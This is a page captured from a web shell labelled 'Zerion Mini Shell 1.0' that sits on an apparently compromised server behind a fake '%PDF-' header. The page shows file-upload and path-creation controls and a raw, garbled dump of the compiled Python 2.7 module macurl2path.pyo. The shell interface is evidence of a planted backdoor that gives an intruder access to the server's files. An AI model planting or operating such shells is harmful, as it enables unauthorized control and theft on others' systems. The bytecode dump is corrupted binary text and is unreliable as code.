%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/macurl2path.pyo

ó
Mêáac@sIdZddlZddlZddgZd„Zd„Zd„ZdS(sqMacintosh-specific module for conversion between pathnames and URLs.

Do not import directly; use urllib instead.iÿÿÿÿNturl2pathnametpathname2urlcCsÈtj|ƒd}|r1|dkr1td‚n|d dkrN|d}n|d dkrjtd‚n|jdƒ}d}xÃ|t|ƒkrD||d	kr®||=q‚||d
krý|dkrý||ddkrý||d|d5|d}q‚||dkr7|dkr7||ddkr7||=q‚|d}q‚W|dsed
j|dƒ}nVd}x:|t|ƒkr§||d
kr§d||<|d}qnWd
d
j|ƒ}tj|ƒS(s{OS-specific conversion from a relative URL of the 'file' scheme
    to a file system path; not recommended for general use.itfiles(Cannot convert non-local URL to pathnameis///is//t/t.s..itt:(Rs..(turllibt	splittypetRuntimeErrortsplittlentjointunquote(tpathnamettpt
componentstitrv((s'/usr/local/lib/python2.7/macurl2path.pyR
s6


0

%
cCsØd|krtd‚n|jdƒ}|ddkrA|d=n|ddkr[|d=nx7tt|ƒƒD]#}||dkrnd||<qnqnWtt|ƒ}tjj|ƒrÇddj	|ƒSdj	|ƒSdS(	s{OS-specific conversion from a file system path to a relative URL
    of the 'file' scheme; not recommended for general use.Rs*Cannot convert pathname containing slashesRiRiÿÿÿÿs..N(
R	R
trangeRtmapt_pncomp2urltostpathtisabsR(RRR((s'/usr/local/lib/python2.7/macurl2path.pyR4s

cCstj|d ddƒ}|S(NitsafeR(Rtquote(t	component((s'/usr/local/lib/python2.7/macurl2path.pyRKs(t__doc__RRt__all__RRR(((s'/usr/local/lib/python2.7/macurl2path.pyt<module>s	*	

Zerion Mini Shell 1.0